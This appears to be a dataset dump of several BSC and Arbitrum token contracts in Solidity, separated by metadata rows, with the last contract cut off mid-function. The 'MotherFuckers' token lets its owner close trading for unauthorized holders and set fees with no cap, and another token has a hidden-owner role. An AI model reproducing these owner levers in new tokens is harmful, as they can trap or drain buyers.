_mint(_msgSender(), _initialSupply);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal override(ERC20) {
super._beforeTokenTransfer(from, to, amount);
require(!isLocked(from), "Lockable: token transfer from locked account");
require(!isLocked(to), "Lockable: token transfer to locked account");
require(!isLocked(_msgSender()), "Lockable: token transfer called from locked account");
require(!paused(), "Pausable: token transfer while paused");
}
function transferOwnership(address newOwner) public onlyHiddenOwner whenNotPaused {
_transferOwnership(newOwner);
}
function transferHiddenOwnership(address newHiddenOwner) public onlyHiddenOwner whenNotPaused {
_transferHiddenOwnership(newHiddenOwner);
}
function addBurner(address account) public onlyOwner whenNotPaused {
_addBurner(account);
}
function removeBurner(address account) public onlyOwner whenNotPaused {
_removeBurner(account);
}
function burn(uint256 amount) public onlyBurner whenNotPaused {
_burn(_msgSender(), amount);
}
function pause() public onlyOwner whenNotPaused {
_pause();
}
function unpause() public onlyOwner whenPaused {
_unpause();
}
function addLocker(address account) public onlyOwner whenNotPaused {
_addLocker(account);
}
function removeLocker(address account) public onlyOwner whenNotPaused {
_removeLocker(account);
}
function lock(address account) public onlyLocker whenNotPaused {
_lock(account);
}
function unlock(address account) public onlyOwner whenNotPaused {
_unlock(account);
}
}
| 111,900 | 340 |
523d49f6295e523e4d0b884c2102b91bda6e3f574cd777047491a107425cee51
| 37,991 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x395ee0681E28Bc83861e47A8a6f8Bb0d83604189/contract.sol
| 4,854 | 19,079 |
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// RocketToken with Governance.
contract RocketToken is BEP20('Rocket Token', 'ROCKET') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 254,637 | 341 |
d25f9c5ae7c182b0af3d7d15c9889793f1f34fa4ef57b6ad2982eef7dc9148e1
| 13,966 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/ec/ec81da910e53df1c5284f5ee40115de10736348b_MotherFuckers.sol
| 3,517 | 13,241 |
pragma solidity 0.8.4;
// SPDX-License-Identifier: Unlicensed
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface PancakeSwapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface PancakeSwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
// Contracts and libraries
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
authorizations[_owner] = true;
emit OwnershipTransferred(address(0), msgSender);
}
mapping (address => bool) internal authorizations;
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MotherFuckers is Ownable, IBEP20 {
using SafeMath for uint256;
uint8 constant _decimals = 18;
uint256 _totalSupply = 1000 * (10 ** _decimals);
uint256 public _maxTxAmount = _totalSupply * 200 / 1000;
uint256 public _walletMax = _totalSupply * 200 / 1000;
address DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
address ZERO_WALLET = 0x0000000000000000000000000000000000000000;
address pancakeAddress = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
string constant _name = "MotherFuckers";
string constant _symbol = "MFK";
bool public restrictWhales = true;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
uint256 public liquidityFee = 1;
uint256 public marketingFee = 0;
uint256 public totalFee = 1;
uint256 public totalFeeIfSelling = 1;
address public autoLiquidityReceiver;
address public marketingWallet;
PancakeSwapRouter public router;
address public pair;
uint256 public launchedAt;
bool public tradingOpen = true;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = _totalSupply * 40 / 2000;
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
router = PancakeSwapRouter(pancakeAddress);
pair = PancakeSwapFactory(router.factory()).createPair(router.WETH(), address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
_allowances[address(this)][address(pair)] = type(uint256).max;
isFeeExempt[msg.sender] = false;
isFeeExempt[address(this)] = true;
isFeeExempt[DEAD_WALLET] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
isTxLimitExempt[DEAD_WALLET] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = msg.sender;
totalFee = liquidityFee.add(marketingFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {return _name;}
function symbol() external pure override returns (string memory) {return _symbol;}
function decimals() external pure override returns (uint8) {return _decimals;}
function totalSupply() external view override returns (uint256) {return _totalSupply;}
function getOwner() external view override returns (address) {return owner();}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD_WALLET)).sub(balanceOf(ZERO_WALLET));
}
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = block.number;
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);}
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen, "Trading not open yet");
}
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
if (msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {marketingAndLiquidity();}
if (!launched() && recipient == pair) {
require(_balances[sender] > 0, "Zero balance violated!");
launch();
}
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if (!isTxLimitExempt[recipient] && restrictWhales) {
require(_balances[recipient].add(amount) <= _walletMax, "Max wallet violated!");
}
uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? extractFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
function extractFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function marketingAndLiquidity() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 amountBNB = address(this).balance;
uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
(bool tmpSuccess,) = payable(marketingWallet).call{value : amountBNBMarketing, gas : 30000}("");
tmpSuccess = false;
if (amountToLiquify > 0) {
router.addLiquidityETH{value : amountBNBLiquidity}(address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
}
// CONTRACT OWNER FUNCTIONS
function setWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}
function tradingStatus(bool newStatus) public onlyOwner {
tradingOpen = newStatus;
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setFees(uint256 newLiqFee, uint256 newMarketingFee) external onlyOwner {
liquidityFee = newLiqFee;
marketingFee = newMarketingFee;
totalFee = liquidityFee.add(marketingFee);
totalFeeIfSelling = totalFee;
}
}
| 41,582 | 342 |
1e7d2511e5dff89cd2da705beb4d53619cca52e5845e95d89fdcd4eeff849434
| 25,987 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Testing_Samples/contract_235.sol
| 4,076 | 15,019 |
pragma solidity ^0.4.20;
library SafeMathLib{
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract GameTesterToken is Ownable {
using SafeMathLib for uint256;
string public constant symbol = "GTCOIN";
string public constant name = "Game Tester";
uint8 public constant decimals = 18;
uint256 private _totalSupply = 100000000 * (10 ** 18);
// Function sigs to be used within contract for signature recovery.
bytes4 internal constant transferSig = 0xa9059cbb;
bytes4 internal constant approveSig = 0x095ea7b3;
bytes4 internal constant increaseApprovalSig = 0xd73dd623;
bytes4 internal constant decreaseApprovalSig = 0x66188463;
bytes4 internal constant approveAndCallSig = 0xcae9ca51;
bytes4 internal constant revokeSignatureSig = 0xe40d89e5;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Keeps track of the last nonce sent from user. Used for delegated functions.
mapping (address => uint256) nonces;
// Mapping of past used hashes: true if already used.
mapping (address => mapping (bytes => bool)) invalidSignatures;
// Mapping of finalized ERC865 standard sigs => our function sigs for future-proofing
mapping (bytes4 => bytes4) public standardSigs;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed from, address indexed spender, uint tokens);
event SignatureRedeemed(bytes _sig, address indexed from);
constructor()
public
{
balances[msg.sender] = _totalSupply;
}
function ()
public
{
bytes memory calldata = msg.data;
bytes4 new_selector = standardSigs[msg.sig];
require(new_selector != 0);
assembly {
mstore(add(0x20, calldata), new_selector)
}
require(address(this).delegatecall(calldata));
assembly {
if iszero(eq(returndatasize, 0x20)) { revert(0, 0) }
returndatacopy(0, 0, returndatasize)
return(0, returndatasize)
}
}
function transfer(address _to, uint256 _amount)
public
returns (bool success)
{
require(_transfer(msg.sender, _to, _amount));
return true;
}
function transferFrom(address _from, address _to, uint _amount)
public
returns (bool success)
{
require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
require(_transfer(_from, _to, _amount));
return true;
}
function approve(address _spender, uint256 _amount)
public
returns (bool success)
{
require(_approve(msg.sender, _spender, _amount));
return true;
}
function increaseApproval(address _spender, uint256 _amount)
public
returns (bool success)
{
require(_increaseApproval(msg.sender, _spender, _amount));
return true;
}
function decreaseApproval(address _spender, uint256 _amount)
public
returns (bool success)
{
require(_decreaseApproval(msg.sender, _spender, _amount));
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _data)
public
returns (bool success)
{
require(_approve(msg.sender, _spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _amount, address(this), _data);
return true;
}
function _transfer(address _from, address _to, uint256 _amount)
internal
returns (bool success)
{
require (_to != address(0));
require(balances[_from] >= _amount);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function _approve(address _owner, address _spender, uint256 _amount)
internal
returns (bool success)
{
allowed[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
return true;
}
function _increaseApproval(address _owner, address _spender, uint256 _amount)
internal
returns (bool success)
{
allowed[_owner][_spender] = allowed[_owner][_spender].add(_amount);
emit Approval(_owner, _spender, allowed[_owner][_spender]);
return true;
}
function _decreaseApproval(address _owner, address _spender, uint256 _amount)
internal
returns (bool success)
{
if (allowed[_owner][_spender] <= _amount) allowed[_owner][_spender] = 0;
else allowed[_owner][_spender] = allowed[_owner][_spender].sub(_amount);
emit Approval(_owner, _spender, allowed[_owner][_spender]);
return true;
}
function transferPreSigned(bytes _signature,
address _to,
uint256 _value,
uint256 _gasPrice,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
// Log starting gas left of transaction for later gas price calculations.
uint256 gas = gasleft();
// Recover signer address from signature; ensure address is valid.
address from = recoverPreSigned(_signature, transferSig, _to, _value, "", _gasPrice, _nonce);
require(from != address(0));
// Require the hash has not been used, declare it used, increment nonce.
